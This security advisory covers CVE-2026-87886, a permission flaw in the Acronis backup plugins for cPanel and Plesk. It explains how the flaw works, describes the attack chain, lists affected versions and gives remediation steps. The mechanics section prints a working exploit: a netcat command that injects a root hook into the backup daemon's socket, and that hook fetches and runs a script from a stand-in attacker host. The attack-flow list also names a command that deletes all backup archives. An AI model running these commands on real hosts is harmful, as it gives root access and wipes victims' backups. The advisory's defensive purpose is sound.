Executive Threat Intelligence: Multi-Tenant Cloud Hosting Targets

The Cybersecurity and Infrastructure Security Agency (CISA) has added CVE-2026-87886 to its Known Exploited Vulnerabilities (KEV) catalog, ordering federal agencies and cloud infrastructure providers to patch critical vulnerabilities in the Acronis Backup plugin for cPanel & WHM and the Acronis Cyber Protect extension for Plesk. Rated CVSS 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), incident response telemetry reveals that ransomware syndicates and initial access brokers are actively exploiting the defect to compromise web hosting nodes, alter backup policies, and execute arbitrary commands with administrative root privileges.

Web hosting control panels such as cPanel, WHM, and Plesk power millions of shared and dedicated hosting servers globally. The Acronis Backup extension integrates directly into these hosting platforms, running privileged background daemons to snapshot virtual host filesystems, customer databases, and mail spools. A complete compromise of the backup subsystem enables adversaries to delete shadow copies, wipe disaster recovery archives, and deploy ransomware without resistance.

Vulnerability Mechanics & Permission Misconfiguration (CWE-276)

The vulnerability is rooted in the improper file permission model instantiated during the initial installation and configuration of the Acronis local management daemon (acronis-backup-cpanel) and its underlying SQLite configuration repository:

When the Acronis plugin initializes on Linux hosts, the daemon creates the local configuration database (/var/lib/acronis-cpanel/config.db) and the local Unix domain socket (/var/run/acronis-backup.sock) with world-readable and world-writable permissions (POSIX 0666). This architectural defect permits any unprivileged shared-hosting user, compromised cPanel account, or web application process to inject arbitrary commands into the daemon's job scheduling queue: 

# Inspecting vulnerable socket permissions on unpatched hosting server
ls -la /var/run/acronis-backup.sock
srw-rw-rw- 1 root root 0 Sep 16 22:15 /var/run/acronis-backup.sock

# Exploiting local socket communication to register rogue root backup hook
echo '{"action":"REGISTER_PRE_BACKUP_HOOK","command":"/bin/bash -c 'curl http://attacker-c2.com/rev.sh | bash'"}' |   nc -U /var/run/acronis-backup.sock

Furthermore, in specific deployment modes where the Acronis Web Dispatcher API was exposed over external TCP port 9877 for remote multi-server management, the authentication state failed to validate external requests, allowing remote network adversaries to interact with the privileged daemon directly without supplying administrative credentials.

Threat Actor Methodology & Post-Compromise Telemetry

DFIR teams investigating enterprise hosting intrusions report a consistent attack progression executed by threat groups:

  • Initial Ingress: Attackers compromise a single shared hosting tenant via an outdated WordPress plugin or stolen FTP credentials.
  • Local Privilege Escalation: Leveraging the unmasked Acronis Unix socket, the adversary elevates access from the unprivileged customer account directly to root.
  • Backup Neutralization: The attacker purges local and cloud backup points (acronis-cmd delete --all-archives) to ensure the victim organization cannot recover data after encryption.
  • Ransomware Execution: The threat actor launches automated encryption binaries across all virtual hosts hosted on the physical bare-metal server.

Affected Software Baselines & Patch Availability

Hosting providers and enterprise server administrators must update all instances of the Acronis plugin across cPanel and Plesk nodes:

Control Panel Extension Vulnerable Plugin Releases Remediation Software Build Severity
Acronis Backup for cPanel & WHM Version 1.8.0 through 1.9.4 Version 1.9.5 (or latest hotfix) Critical (CVSS 9.8)
Acronis Cyber Protect Extension for Plesk Version 2.0 through 2.3.1 Version 2.3.2 Critical (CVSS 9.8)

Defensive Playbook & Incident Response Checklist

Hosting providers and managed service providers (MSPs) must execute the following remediation measures immediately:

1. Apply Emergency Package Updates

Update the Acronis plugin package via the system package manager or cPanel WHM interface: 

# Update Acronis cPanel plugin via yum / dnf on RHEL / AlmaLinux
yum update acronis-backup-cpanel

# Verify corrected permissions on socket and configuration files
ls -la /var/run/acronis-backup.sock
# Permissions should strictly be srw-rw---- root:acronis

2. Audit Cron Schedules and Pre/Post Backup Scripts

Inspect the Acronis script execution directories to ensure that unauthorized pre-backup or post-backup bash hooks have not been registered: 

# Check for rogue hook scripts
ls -la /etc/acronis/hooks/
sqlite3 /var/lib/acronis-cpanel/config.db "SELECT * FROM backup_hooks;"

3. Firewall External Management Ports

Ensure that TCP port 9877 and related Acronis management listeners are blocked from external public routing, limiting communication strictly to internal management networks.